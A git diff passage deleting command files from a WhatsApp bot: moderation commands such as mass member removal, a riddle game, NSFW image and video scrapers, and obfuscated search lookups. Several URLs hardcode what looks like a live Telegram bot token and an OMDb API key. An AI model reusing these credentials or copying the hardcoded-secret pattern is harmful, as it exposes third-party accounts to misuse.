- adams({ nomCom: "tgs", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, arg, nomAuteurMessage, superUser } = commandeOptions;
-
- if (!superUser) {
- repondre('Only Mods can use this command'); return;
- }
- //const apikey = conf.APILOLHUMAIN
-
- // if (apikey === null || apikey === 'null') { repondre('Veillez vérifier votre apikey ou si vous en avez pas , veiller crée un compte sur api.lolhuman.xyz et vous en procurer une.'); return; };
-
- if (!arg[0]) {
- repondre("put a telegramme stickers link ");
- return;
- }
-
- let lien = arg.join(' ');
-
- let name = lien.split('/addstickers/')[1] ;
-
- let api = 'https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getStickerSet?name=' + encodeURIComponent(name) ;
-
- try {
-
- let stickers = await axios.get(api) ;
-
- let type = null ;
-
- if (stickers.data.result.is_animated === true ||stickers.data.result.is_video === true ) {
-
- type = 'animated sticker'
- } else {
- type = 'not animated sticker'
- }
-
- let msg = ` Bwm-md-stickers-dl
-
- *Name :* ${stickers.data.result.name}
- *Type :* ${type}
- *Length :* ${(stickers.data.result.stickers).length}
-
- Downloading...`
-
- await repondre(msg) ;
-
- for ( let i = 0 ; i < (stickers.data.result.stickers).length ; i++ ) {
-
- let file = await axios.get(`https://api.telegram.org/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/getFile?file_id=${stickers.data.result.stickers[i].file_id}`) ;
-
- let buffer = await axios({
- method: 'get', // Utilisez 'get' pour télécharger le fichier
- url:`https://api.telegram.org/file/bot891038791:AAHWB1dQd-vi0IbH2NjKYUk-hqQ8rQuzPD4/${file.data.result.file_path}` ,
- responseType: 'arraybuffer', // Définissez le type de réponse sur 'stream' pour gérer un flux de données
- })
-
-
- const sticker = new Sticker(buffer.data, {
- pack: nomAuteurMessage,
- author: "Bwm-md",
- type: StickerTypes.FULL,
- categories: ['🤩', '🎉'],
- id: '12345',
- quality: 50,
- background: '#000000'
- });
-
- const stickerBuffer = await sticker.toBuffer(); // Convertit l'autocollant en tampon (Buffer)
-
- await zk.sendMessage(
- dest,
- {
- sticker: stickerBuffer, // Utilisez le tampon (Buffer) directement dans l'objet de message
- },
- { quoted: ms }
- );
- }
-
- } catch (e) {
- repondre("we got an error \n", e);
- }
- });
-
-adams({ nomCom: "crew", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre, arg, auteurMessage, superUser, auteurMsgRepondu, msgRepondu } = commandeOptions;
-
- if (!superUser) { repondre("only modds can use this command"); return };
-
- if (!arg[0]) { repondre('Please enter the name of the group to create'); return };
- if (!msgRepondu) { repondre('Please mention a member added '); return; }
-
- const name = arg.join(" ")
-
- const group = await zk.groupCreate(name, [auteurMessage, auteurMsgRepondu])
- console.log("created group with id: " + group.gid)
- zk.sendMessage(group.id, { text: `Bienvenue dans ${name}` })
-
-});
-
-adams({ nomCom: "left", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage } = commandeOptions;
- if (!verifGroupe) { repondre("group only"); return };
- if (!superUser) {
- repondre("order reserved for the owner");
- return;
- }
-
- await zk.groupLeave(dest)
-});
-
-adams({ nomCom: "join", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- let result = arg[0].split('https://chat.whatsapp.com/')[1] ;
- await zk.groupAcceptInvite(result) ;
-
- repondre(`Succes`).catch((e)=>{
- repondre('Unknown error')
-})
-
-})
-
-
-adams({ nomCom: "jid", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- if(!msgRepondu) {
- jid = dest
- } else {
- jid = auteurMsgRepondu
- } ;
- zk.sendMessage(dest,{text : jid },{quoted:ms});
-
- }) ;
-
-
-
-adams({ nomCom: "block", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
-
- if(!msgRepondu) {
- if(verifGroupe) {
- repondre('Be sure to mention the person to block'); return
- } ;
- jid = dest
-
- await zk.updateBlockStatus(jid, "block")
- .then( repondre('succes'))
- } else {
- jid = auteurMsgRepondu
- await zk.updateBlockStatus(jid, "block")
- .then( repondre('succes')) } ;
-
- });
-
-adams({ nomCom: "unblock", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { arg, ms, repondre, verifGroupe, msgRepondu, verifAdmin, superUser, auteurMessage,auteurMsgRepondu } = commandeOptions;
-
- if (!superUser) {
- repondre("command reserved for the bot owner");
- return;
- }
- if(!msgRepondu) {
- if(verifGroupe) {
- repondre('Please mention the person to be unlocked'); return
- } ;
- jid = dest
-
- await zk.updateBlockStatus(jid, "unblock")
- .then( repondre('succes'))
- } else {
- jid = auteurMsgRepondu
- await zk.updateBlockStatus(jid, "unblock")
- .then( repondre('succes')) } ;
-
- });
-
-adams({ nomCom: "kickall", categorie: 'Group', reaction: "📣" }, async (dest, zk, commandeOptions) => {
-
- const { auteurMessage ,ms, repondre, arg, verifGroupe, nomGroupe, infosGroupe, nomAuteurMessage, verifAdmin, superUser,prefixe } = commandeOptions
-
- const metadata = await zk.groupMetadata(dest) ;
-
-
- if (!verifGroupe) { repondre("✋🏿 ✋🏿this command is reserved for groups ❌"); return; }
- if (superUser || auteurMessage == metadata.owner) {
-
- repondre('No_admin members will be removed from the group. You have 5 seconds to reclaim your choice by restarting the bot.') ;
- await sleep(5000)
- let membresGroupe = verifGroupe ? await infosGroupe.participants : "";
-try {
- let users = membresGroupe.filter((member) => !member.admin)
-
- for (const membre of users) {
-
-
-
-
-
-await zk.groupParticipantsUpdate(
- dest,
- [membre.id],
- "remove"
- )
- await sleep(500)
-
- }
-} catch (e) {repondre("I need administration rights")} } else {
- repondre("Order reserved for the group owner for security reasons"); return
-}
-});
-
-adams({
- nomCom: 'ban',
- categorie: 'Mods',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser } = commandeOptions;
-
-
- if (!superUser) {repondre('This command is only allowed to the bot owner') ; return}
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`mention the victim by typing ${prefixe}ban add/del to ban/unban the victim`);
- return;
- };
-
- if (msgRepondu) {
- switch (arg.join(' ')) {
- case 'add':
-
-
- let youareban = await isUserBanned(auteurMsgRepondu)
- if(youareban) {repondre('This user is already banned') ; return}
-
- addUserToBanList(auteurMsgRepondu)
- break;
- case 'del':
- let estbanni = await isUserBanned(auteurMsgRepondu)
- if (estbanni) {
-
- removeUserFromBanList(auteurMsgRepondu);
- repondre('This user is now free.');
- } else {
- repondre('This user is not banned.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
- } else {
- repondre('mention the victim')
- return;
- }
-});
-
-
-
-adams({
- nomCom: 'bangroup',
- categorie: 'Mods',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser,verifGroupe } = commandeOptions;
-
-
- if (!superUser) {repondre('This command is only allowed to the bot owner') ; return};
- if(!verifGroupe) {repondre('order reservation for groups' ) ; return };
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`type ${prefix}bangroup add/del to ban/unban the group`);
- return;
- };
- const groupalreadyBan = await isGroupBanned(dest)
-
- switch (arg.join(' ')) {
- case 'add':
-
-
-
- if(groupalreadyBan) {repondre('This group is already banned') ; return}
-
- addGroupToBanList(dest)
-
- break;
- case 'del':
-
- if (groupalreadyBan) {
- removeGroupFromBanList(dest)
- repondre('This group is now free.');
-
- } else {
-
- repondre('This group is not banned.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
-
-});
-
-
-adams({
- nomCom: 'onlyadmin',
- categorie: 'Group',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser,verifGroupe , verifAdmin } = commandeOptions;
-
-
-if (superUser || verifAdmin) {
-if(!verifGroupe) {repondre('order reservation for groups' ) ; return };
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`type ${prefix}onlyadmin add/del to ban/unban the group`);
- return;
- };
- const groupalreadyBan = await isGroupOnlyAdmin(dest)
-
- switch (arg.join(' ')) {
- case 'add':
-
-
-
- if(groupalreadyBan) {repondre('This group is already in onlyadmin mode') ; return}
-
- addGroupToOnlyAdminList(dest)
-
- break;
- case 'del':
-
- if (groupalreadyBan) {
- removeGroupFromOnlyAdminList(dest)
- repondre('This group is now free.');
-
- } else {
-
- repondre('This group is not in onlyadmin mode.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
-} else { repondre('You are not entitled to this order')}
-});
-
-adams({
- nomCom: 'sudo',
- categorie: 'Mods',
-}, async (dest, zk, commandeOptions) => {
-
- const { ms, arg, auteurMsgRepondu, msgRepondu , repondre,prefixe,superUser } = commandeOptions;
-
-
-if (!superUser) {repondre('This command is only allowed to the bot owner') ; return}
- if (!arg[0]) {
- // Function 'reply' must be defined to send a response.
- repondre(`mention the person by typing ${prefix}sudo add/del`);
- return;
- };
-
- if (msgRepondu) {
- switch (arg.join(' ')) {
- case 'add':
-
-
- let youaresudo = await issudo(auteurMsgRepondu)
- if(youaresudo) {repondre('This user is already sudo') ; return}
-
- addSudoNumber(auteurMsgRepondu)
- repondre('succes')
- break;
- case 'del':
- let estsudo = await issudo(auteurMsgRepondu)
- if (estsudo) {
-
- removeSudoNumber(auteurMsgRepondu);
- repondre('This user is now non-sudo.');
- } else {
- repondre('This user is not sudo.');
- }
- break;
-
-
- default:
- repondre('bad option');
- break;
- }
- } else {
- repondre('mention the victim')
- return;
- }
-});
-
-
-adams({ nomCom: "save", categorie: "Mods" }, async (dest, zk, commandeOptions) => {
-
- const { repondre , msgRepondu , superUser, auteurMessage } = commandeOptions;
-
- if ( superUser) {
-
- if(msgRepondu) {
-
- console.log(msgRepondu) ;
-
- let msg ;
-
- if (msgRepondu.imageMessage) {
-
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage) ;
- // console.log(msgRepondu) ;
- msg = {
-
- image : { url : media } ,
- caption : msgRepondu.imageMessage.caption,
-
- }
-
-
- } else if (msgRepondu.videoMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage) ;
-
- msg = {
-
- video : { url : media } ,
- caption : msgRepondu.videoMessage.caption,
-
- }
-
- } else if (msgRepondu.audioMessage) {
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.audioMessage) ;
-
- msg = {
-
- audio : { url : media } ,
- mimetype:'audio/mp4',
- }
-
- } else if (msgRepondu.stickerMessage) {
-
-
- let media = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage)
-
- let stickerMess = new Sticker(media, {
- pack: 'BMW-MD-TAG',
- type: StickerTypes.CROPPED,
- categories: ["🤩", "🎉"],
- id: "12345",
- quality: 70,
- background: "transparent",
- });
- const stickerBuffer2 = await stickerMess.toBuffer();
-
- msg = { sticker: stickerBuffer2}
-
-
- } else {
- msg = {
- text : msgRepondu.conversation,
- }
- }
-
- zk.sendMessage(auteurMessage,msg)
-
- } else { repondre('Mention the message that you want to save') }
-
- } else {
- repondre('only mods can use this command')
- }
-
-
- })
-;
-
-
-adams({
- nomCom : 'mention',
- categorie : 'Mods',
-} , async (dest,zk,commandeOptions) => {
-
- const {ms , repondre ,superUser , arg} = commandeOptions ;
-
- if (!superUser) {repondre('you do not have the rights for this command') ; return}
-
- const mbdd = require('../bdd/mention') ;
-
- let alldata = await mbdd.recupererToutesLesValeurs() ;
- data = alldata[0] ;
-
-
- if(!arg || arg.length < 1) {
-
- let etat ;
-
- if (alldata.length === 0 ) { repondre(`To activate or modify the mention; follow this syntax: mention link type message
- The different types are audio, video, image, and sticker.
- Example: mention https://static.animecorner.me/2023/08/op2.jpg image Hi, my name is Beltah`) ; return}
-
- if(data.status == 'non') {
- etat = 'Desactived'
- } else {
- etat = 'Actived' ;
- }
-
- mtype = data.type || 'no data' ;
-
- url = data.url || 'no data' ;
-
-
- let msg = `Status: ${etat}
-Type: ${mtype}
-Link: ${url}
-
-*Instructions:*
-
-To activate or modify the mention, follow this syntax: mention link type message
-The different types are audio, video, image, and sticker.
-Example: mention https://telegra.ph/file/52e3bb0ba3868d64df3f0.jpg image Hi, my name is Beltah
-
-To stop the mention, use mention stop`;
-
- repondre(msg) ;
-
- return ;
- }
-
- if(arg.length >= 2) {
-
- if(arg[0].startsWith('http') && (arg[1] == 'image' || arg[1] == 'audio' || arg[1] == 'video' || arg[1] == 'sticker')) {
-
- let args = [] ;
- for (i = 2 ; i < arg.length ; i++) {
- args.push(arg[i]) ;
- }
- let message = args.join(' ') || '' ;
-
- await mbdd.addOrUpdateDataInMention(arg[0],arg[1],message);
- await mbdd.modifierStatusId1('oui')
- .then(() =>{
- repondre('mention updated') ;
- })
- } else {
- repondre(`*Instructions:*
- To activate or modify the mention, follow this syntax: mention link type message. The different types are audio, video, image, and sticker.`)
- }
-
- } else if ( arg.length === 1 && arg[0] == 'stop') {
-
- await mbdd.modifierStatusId1('non')
- .then(() =>{
- repondre(' mention stopped ') ;
- })
- }
- else {
- repondre(`Please make sure to follow the instructions`) ;
- }
-})
diff --git a/scs/bmwda.js b/scs/bmwda.js
deleted file mode 100644
index 7f28c03..0000000
--- a/scs/bmwda.js
+++ /dev/null
@@ -1,129 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-
-// Set a riddle list with questions and answers
-const devinettes = [
- {
- question: "I can fly without wings, who am I?",
- reponse: "The weather",
- },
- {
- question: "I'm always hungry, the more I eat, the fatter I become. Who am I ?",
- reponse: "A black hole",
- },
- {
- question: "I'm strong when I'm down, but I'm weak when I'm up. Who am I ?",
- reponse: "The number 6",
- },
- {
- question: "I can be short or long, hard or soft, I can be used by anyone, from young children to experienced musicians. Who am I ?",
- reponse: "A pencil",
- },
- {
- question: "I am the beginning of the end, the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?",
- reponse: "The letter 'e'",
- },
- {
- question: "I am white when I am dirty and black when I am clean. Who am I ?",
- reponse: "A slate",
- },
- {
- question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?",
- reponse: "Tea",
- },
- {
- question: "I fly without wings, I cry without eyes. Wherever I am, death always accompanies me. Who am I ?",
- reponse: "The wind",
- },
- {
- question: "I have towns, but no houses. I have mountains, but no trees. I have water, but no fish. Who am I ?",
- reponse: "A map",
- },
- {
- question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?",
- reponse: "A borrowed book",
- },
- {
- question: "I come twice in a week, once in a year, but never in a day. Who am I ?",
- reponse: "The letter 'E'",
- },
- {
- question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?",
- reponse: "Your breath",
- },
- {
- question: "The hotter I am, the colder I become. Who am I ?",
- reponse: "coffe",
- },
- {
- question: "I am the stuff of dreams. I cover broken ideas. I change souls into wings. Who am I ?",
- reponse: "A book",
- },
- {
- question: "I am white when I am dirty and black when I am clean. Who am I?",
- reponse: "A slate",
- },
- {
- question: "I can fly without having wings. I can cry without having eyes. Who am I ?",
- reponse: "A cloud",
- },
- {
- question: "I start at night and finish in the morning. Who am I ?",
- reponse: "The letter 'N'",
- },
- {
- question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?",
- reponse: "A borrowed book",
- },
- {
- question: "I feed on everything around me, the air, the earth and even the trees. Who am I ?",
- reponse: "a fire",
- },
- {
- question: "I am white when I am dirty and black when I am clean. Who am I ?",
- reponse: "A slate",
- },
- {
- question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?",
- reponse: "tea",
- },
- {
- question: "I am the beginning of the end and the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?",
- reponse: "the letter'E'",
- },
- {
- question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?",
- reponse: "Your breath",
- },
- ];
-
-adams({ nomCom: "riddle", categorie: "Games" }, async (dest, zk, commandeOptions) => {
- const { ms, repondre } = commandeOptions;
-
- // Choose a random riddle
- const devinette = devinettes[Math.floor(Math.random() * devinettes.length)];
-// Send the riddle question
- await zk.sendMessage(
- dest,
- {
- text: `Riddle: ${devinette.question} . \n you have 30 seconds to think about.`,
- },
- { quoted: ms }
- );
-
- //Wait 60 seconds before sending the response
- await delay(30000);
-
- // Answer
- await zk.sendMessage(
- dest,
- {
- text: `The answer was : ${devinette.reponse}`,
- },
- { quoted: ms }
- );
-});
-
-// Function to create a pause/delay in milliseconds
-function delay(ms) {
- return new Promise((resolve) => setTimeout(resolve, ms));
-}
diff --git a/scs/bmwde.js b/scs/bmwde.js
deleted file mode 100644
index 2deee17..0000000
--- a/scs/bmwde.js
+++ /dev/null
@@ -1,33 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const { attribuerUnevaleur } = require('../lib/welcome');
-
-async function events(nomCom) {
- adams({
- nomCom: nomCom,
- categorie: 'Group'
- }, async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre, superUser, verifAdmin } = commandeOptions;
-
- if (verifAdmin || superUser) {
- if (!arg[0] || arg.join(' ') === ' ') {
- repondre(nomCom + ' ' + ' on to active and ' + ' ' + nomCom + ' ' + 'off to put off');
- } else {
- if (arg[0] === 'on' || arg[0] === 'off') {
-
- await attribuerUnevaleur(dest, nomCom, arg[0]);
- repondre( nomCom + "is actualised on " + arg[0]);
- } else {
- repondre('on for active and off for desactive');
- }
- }
- } else {
- repondre('You can\'t use this command lol ');
- }
- });
-}
-
-// Appel de la fonction events pour les valeurs 'welcome' et 'goodbye'
-events('welcome');
-events('goodbye');
-events('antipromote');
-events('antidemote') ;
diff --git a/scs/bmwdo.js b/scs/bmwdo.js
deleted file mode 100644
index 6251d26..0000000
--- a/scs/bmwdo.js
+++ /dev/null
@@ -1,24 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const fancy = require("../scs/bmwt");
-
-adams({ nomCom: "fancy", categorie: "Fun", reaction: "〽️" }, async (dest, zk, commandeOptions) => {
- const { arg, repondre, prefixe } = commandeOptions;
- const id = arg[0]?.match(/\d+/)?.join('');
- const text = arg.slice(1).join(" ");
-
- try {
- if (id === undefined || text === undefined) {
- return await repondre(`\nExemple : ${prefixe}fancy 10 Bmw-Md\n` + String.fromCharCode(8206).repeat(4001) + fancy.list('BMW-MD', fancy));
- }
-
- const selectedStyle = fancy[parseInt(id) - 1];
- if (selectedStyle) {
- return await repondre(fancy.apply(selectedStyle, text));
- } else {
- return await repondre('_Style introuvable :(_');
- }
- } catch (error) {
- console.error(error);
- return await repondre('_Une erreur s\'est produite :(_');
- }
-});
diff --git a/scs/bmwdu.js b/scs/bmwdu.js
deleted file mode 100644
index abae9f4..0000000
--- a/scs/bmwdu.js
+++ /dev/null
@@ -1,189 +0,0 @@
-
-
-const {adams } = require("../Ibrahim/adams");
-const axios = require('axios');
-const cheerio = require('cheerio');
-let func = require('../Ibrahim/mesfonctions') ;
-let hdb = require('../lib/hentai') ;
-
-
-adams({
- nomCom: "hwaifu",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- const url = 'https://api.waifu.pics/nsfw/waifu'; // Remplace avec ton lien réel
-
- try { for (let i = 0 ; i < 5 ; i++ ) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. : ' +error);
- }
-});
-
-
- /////////////// hneko //////////
-adams({
- nomCom: "trap",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
-
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
-
- const url = 'https://api.waifu.pics/nsfw/trap'; // Remplace avec ton lien réel
-
- try { for (let i = 0 ; i < 5 ; i++ ) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-adams({
- nomCom: "hneko",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
-
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- const url = 'https://api.waifu.pics/nsfw/neko'//apiWaifu("neko"); // Remplace avec ton lien réel
-
- try { for (let i = 0 ;i < 5 ; i++) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-
-adams({
- nomCom: "blowjob",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
-
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- const url = 'https://api.waifu.pics/nsfw/blowjob'; // Remplace avec ton lien réel
-
- try { for (let i = 0 ; i < 5 ; i++ ) {
- const response = await axios.get(url);
- const imageUrl = response.data.url;
-
- zk.sendMessage(origineMessage, { image: { url: imageUrl } }, { quoted: ms }); }
- } catch (error) {
- repondre('Error occurred while retrieving the data. :', error);
- }
-});
-
-
-
-adams({
- nomCom: "hentaivid",
- categorie: "Hentai",
- reaction: "🍑"
-},
-async (origineMessage, zk, commandeOptions) => {
- const { repondre, ms ,verifGroupe , superUser} = commandeOptions;
-
- if (!verifGroupe && !superUser ) { repondre(`This command is reserved for groups only.`) ; return ;}
-
- let isHentaiGroupe = await hdb.checkFromHentaiList(origineMessage) ;
-
- if(!isHentaiGroupe && !superUser) { repondre(`This group is not a group of perverts, calm down my friend.`) ; return ;}
-
- try {
-
- let videos = await hentai()
-
- let length ;
-
- if (videos.length > 10) {
- length = 10
- } else {
- length = videos.length ;
- }
-
-
-
- let i = Math.floor(Math.random() * length) ;
-
- zk.sendMessage(origineMessage,{video :{url : videos[i].video_1}, caption : `*Title :* ${videos[i].title} \n *Category :* ${videos[i].category}`},{quoted : ms})
-
-
- } catch (error) {
- console.log(error)
- }
-});
-
-
-
-
-
-
-
-async function hentai() {
- return new Promise((resolve, reject) => {
- const page = Math.floor(Math.random() * 1153)
- axios.get('https://sfmcompile.club/page/'+page)
- .then((data) => {
- const $ = cheerio.load(data.data)
- const hasil = []
- $('#primary > div > div > ul > li > article').each(function (a, b) {
- hasil.push({
- title: $(b).find('header > h2').text(),
- link: $(b).find('header > h2 > a').attr('href'),
- category: $(b).find('header > div.entry-before-title > span > span').text().replace('in ', ''),
- share_count: $(b).find('header > div.entry-after-title > p > span.entry-shares').text(),
- views_count: $(b).find('header > div.entry-after-title > p > span.entry-views').text(),
- type: $(b).find('source').attr('type') || 'image/jpeg',
- video_1: $(b).find('source').attr('src') || $(b).find('img').attr('data-src'),
- video_2: $(b).find('video > a').attr('href') || ''
- })
- })
- resolve(hasil)
- })
- })
-}
diff --git a/scs/bmwee.js b/scs/bmwee.js
deleted file mode 100644
index 90288a6..0000000
--- a/scs/bmwee.js
+++ /dev/null
@@ -1,205 +0,0 @@
-const axios = require("axios");
-const {
- adams
-} = require('../Ibrahim/adams');
-const {
- Sticker,
- StickerTypes
-} = require('wa-sticker-formatter');
-adams({
- 'nomCom': "ranime",
- 'categorie': 'Fun',
- 'reaction': '📺'
-}, async (_0x3706cd, _0x4d0877, _0x335041) => {
- const {
- repondre: _0x131828,
- ms: _0x2bfc9e
- } = _0x335041;
- try {
- const _0x6bdb84 = await axios.get('https://api.jikan.moe/v4/random/anime');
- const _0x485e75 = _0x6bdb84.data.data;
- const _0x541be4 = _0x485e75.title;
- const _0x18c0c5 = _0x485e75.synopsis;
- const _0x18cb16 = _0x485e75.images.jpg.image_url;
- const _0x12d2f0 = _0x485e75.episodes;
- const _0x4921cf = _0x485e75.status;
- const _0x78e365 = "📺 Titre: " + _0x541be4 + "\n🎬 Épisodes: " + _0x12d2f0 + "\n📡 Statut: " + _0x4921cf + "\n📝 Synopsis: " + _0x18c0c5 + "\n🔗 URL: " + _0x485e75.url;
- _0x4d0877.sendMessage(_0x3706cd, {
- 'image': {
- 'url': _0x18cb16
- },
- 'caption': _0x78e365
- }, {
- 'quoted': _0x2bfc9e
- });
- } catch (_0x1e299d) {
- console.error("Error retrieving data from JSON :", _0x1e299d);
- _0x131828("Error retrieving data from JSON.");
- }
-});
-adams({
- 'nomCom': "google",
- 'categorie': 'Search'
-}, async (_0xce35ee, _0x580287, _0x1a7926) => {
- const {
- arg: _0x45ffa0,
- repondre: _0x44c3f6
- } = _0x1a7926;
- if (!_0x45ffa0[0x0] || _0x45ffa0 === '') {
- _0x44c3f6("Give me a query.\n*Example: .google What is a bot.*");
- return;
- }
- const _0x47ba40 = require("google-it");
- try {
- const _0xb04653 = await _0x47ba40({
- 'query': _0x45ffa0.join(" ")
- });
- let _0x100d9a = "Google search for : " + _0x45ffa0 + "\n\n";
- for (let _0x288157 of _0xb04653) {
- _0x100d9a += "➣ Title : " + _0x288157.title + "\n";
- _0x100d9a += "➣ Description : " + _0x288157.snippet + "\n";
- _0x100d9a += "➣ Link : " + _0x288157.link + "\n\n────────────────────────\n\n";
- }
- _0x44c3f6(_0x100d9a);
- } catch (_0x277bfb) {
- _0x44c3f6("An error occurred during Google search.");
- }
-});
-adams({
- 'nomCom': "imdb",
- 'categorie': "Search"
-}, async (_0x3e0c57, _0x31cdeb, _0x68675d) => {
- const {
- arg: _0xb16e9f,
- repondre: _0x390000,
- ms: _0x2128cb
- } = _0x68675d;
- if (!_0xb16e9f[0x0] || _0xb16e9f === '') {
- _0x390000("give the name of a series or film.");
- return;
- }
- try {
- const _0x2465ce = await axios.get('http://www.omdbapi.com/?apikey=742b2d09&t=' + _0xb16e9f + '&plot=full');
- const _0x15db1f = _0x2465ce.data;
- let _0xd32d5c = "⚍⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚍\n";
- _0xd32d5c += " ``` 𝕀𝕄𝔻𝔹 𝕊𝔼𝔸ℝℂℍ```\n";
- _0xd32d5c += "⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎⚎\n";
- _0xd32d5c += "🎬Title : " + _0x15db1f.Title + "\n";
- _0xd32d5c += "📅year : " + _0x15db1f.Year + "\n";
- _0xd32d5c += "⭐Assessment : " + _0x15db1f.Rated + "\n";
- _0xd32d5c += "📆Release : " + _0x15db1f.Released + "\n";
- _0xd32d5c += "⏳Runtime : " + _0x15db1f.Runtime + "\n";
- _0xd32d5c += "🌀Genre : " + _0x15db1f.Genre + "\n";
- _0xd32d5c += "👨🏻💻Director : " + _0x15db1f.Director + "\n";
- _0xd32d5c += "✍writers : " + _0x15db1f.Writer + "\n";
- _0xd32d5c += "👨actors : " + _0x15db1f.Actors + "\n";
- _0xd32d5c += "📃Synopsis : " + _0x15db1f.Plot + "\n";
- _0xd32d5c += "🌐Language : " + _0x15db1f.Language + "\n";
- _0xd32d5c += "🌍Contry : " + _0x15db1f.Country + "\n";
- _0xd32d5c += "🎖️Awards : " + _0x15db1f.Awards + "\n";
- _0xd32d5c += "📦BoxOffice : " + _0x15db1f.BoxOffice + "\n";
- _0xd32d5c += "🏙️Production : " + _0x15db1f.Production + "\n";
- _0xd32d5c += "🌟score : " + _0x15db1f.imdbRating + "\n";
- _0xd32d5c += "❎imdbVotes : " + _0x15db1f.imdbVotes + '';
- _0x31cdeb.sendMessage(_0x3e0c57, {
- 'image': {
- 'url': _0x15db1f.Poster
- },
- 'caption': _0xd32d5c
- }, {
- 'quoted': _0x2128cb
- });
- } catch (_0x1cf2b8) {
- _0x390000("An error occurred while searching IMDb.");
- }
-});
-adams({
- 'nomCom': "movie",
- 'categorie': 'Search'
-}, async (_0x41a878, _0x44c40c, _0x3424dd) => {
- const {
- arg: _0x51290b,
- repondre: _0x111c6a,
- ms: _0x3b271c
- } = _0x3424dd;
- if (!_0x51290b[0x0] || _0x51290b === '') {
- _0x111c6a("give the name of a series or film.");
- return;
- }
- try {
